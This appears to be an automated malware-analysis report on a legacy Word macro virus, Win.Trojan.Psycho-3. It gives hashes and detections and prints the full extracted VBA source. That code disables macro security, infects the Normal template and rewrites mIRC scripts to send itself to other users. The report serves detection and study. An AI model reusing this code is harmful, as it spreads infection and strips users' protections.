Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 b5e075218617aedb…

MALICIOUS

Office (OLE)

31.0 KB Created: 2000-06-18 15:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b5c2544540da91fc7ee5995607656d04 SHA-1: cb640b72092f9726bf571e6bdecd70846c8f1542 SHA-256: b5e075218617aedb8d57dba26f85dfeaee52738b3d9d1e9a13627bc7be3e9945
220 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

This legacy Word macro-based malware, identified as Win.Trojan.Psycho-3, attempts to spread by infecting the Normal template and disabling Word's macro security. The AutoOpen macro copies itself to the Normal template and modifies registry keys to disable virus protection and set the registered owner to 'The WaLRuS'. It also attempts to download and execute further payloads via IRC-related paths.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2719 bytes
SHA-256: 51cc4820485a023cdb84408ab3fd96df7075cb94f3f50e33502b785cf8333a47
Detection
ClamAV: Doc.Trojan.Fool-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Help"

Sub AutoOpen()
    'Help Virus/Worm v1.00
    'The WaLRuS 05/00
    On Error Resume Next
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WaLRuS"
    Set Norm = NormalTemplate.VBProject.VBComponents: Set Doc = ActiveDocument.VBProject.VBComponents
If Norm.Item("Help").Name <> "Help" Then
    Doc("Help").Export "c:\Help.drv"
    Set infect = NormalTemplate.VBProject
ElseIf Doc.Item("Help").Name <> "Help" Then
    Norm("Help").Export "c:\Help.drv"
    Set infect = ActiveDocument.VBProject
End If
infect.VBComponents.Import ("c:\Help.drv")
Kill ("c:\Help.drv")
ActiveDocument.Save
CommandBars("Help").Controls("About Microsoft Word").Caption = "Its The WaLRuS"
If (Second(Now()) > 50) Then Call Mirc
If Day(Now) = 31 Then Call Help
End Sub

Sub Mirc()
    On Error Resume Next
    installed = Dir("c:\mirc\mirc32.exe")
    If installed = "" Then
    Exit Sub
    Else
    reproduce = Dir("c:\mirc\download\IRC-Rules.doc")
    If reproduce = "" Then ActiveDocument.SaveAs "c:\mirc\download\IRC-Rules.doc"
    Kill "c:\mirc\script.ini"
    Open "c:\mirc\script.ini" For Output As #1
    Print #1, "[script]"
    Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\IRC-Rules.doc }"
    Print #1, "n1=on 1:CONNECT: {"
    Print #1, "n2=  /join #virus "
    Print #1, "n3=  /msg #virus Help me if you can im feeling down. Im infected with the Help Virus by The WaLRuS"
    Print #1, "n4= /part #virus"
    Print #1, "n5= /clear"
    Print #1, "n6= /motd"
    Print #1, "n7= }"
    Close #1
    End If
End Sub

Sub HelpAbout()
    On Error Resume Next
    MsgBox "Help by The WaLRuS", 0, "Help I Need Somebody"
End Sub

Sub Help()
    On Error Resume Next
    Assistant.Visible = True
    With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Text = "I do appreciate you being around"
    .Heading = "GREETINGS"
    .Show
    End With
End Sub

Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub

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